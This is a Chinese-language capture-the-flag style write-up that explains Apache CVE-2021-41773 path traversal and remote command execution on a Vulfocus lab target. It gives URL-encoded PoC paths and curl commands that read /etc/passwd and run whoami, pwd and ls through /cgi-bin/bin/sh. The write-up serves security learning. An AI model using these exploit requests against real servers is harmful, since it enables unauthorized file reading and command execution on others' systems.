中间件安全(三)
本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。
前言:
本文主要讲解apache命令执行漏洞(cve_2021_41773)。
靶场链接:Vulfocus 漏洞威胁分析平台
一,漏洞简介。
cve_2021_41773漏洞是一个目录穿越的高危漏洞,主要影响版本有:Apache(阿帕奇) 2.4.49 和 Apache 2.4.50;其对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
二,poc。
具体poc已给出:
get传参方式poc为:
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
可以看到是一段经过了url编码的内容,解密后为:
2,post传参:
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
经过两次url解码后,结果为:
三,漏洞利用。
打开靶场连接后,可以发现是一个阿帕奇服务的默认界面。
通过抓包后发现,传参方式为get:
此处使用get传参的poc。
进行攻击测试(poc填写到红框内):
可以看到,回显为修改请求头所读的敏感信息。
此处为什么要用burp,因为浏览器自动对路径进行了一次url解码,用burp发送过去的请求,不会被自动解码
四,rce。
1,查看敏感文件。
在kali上使用curl 命令进⾏进一步渗透工作。
读取敏感文件的命令为:
curl -v --path-as-is http://[ip]:port/icons/.%%32%65/%%32%65%%32%65/%%32%6
5%%32%65/%%32%65%%32%65/etc/passwd
① [ip] 替换成被攻击服务器的 IP。
② port 替换为被攻击服务器端⼝。
curl简介:Linux命令行工具:curl详解(与服务器之间传输数据)_curl socks5代理-CSDN博客
2,通用操作。
具体格式为:
curl --data "echo;shell" http://123.58.224.8:27400/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/
sh
替换shell为想要执行的命令。
取得敏感信息,查询一下当前用户:
curl --data "echo;whoami" http://123.58.224.8:27400/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/
sh
查看一下当前目录:
curl --data "echo;pwd" http://123.58.224.8:27400/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
获取flag:
curl --data "echo;ls /tmp" http://123.58.224.8:27400/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh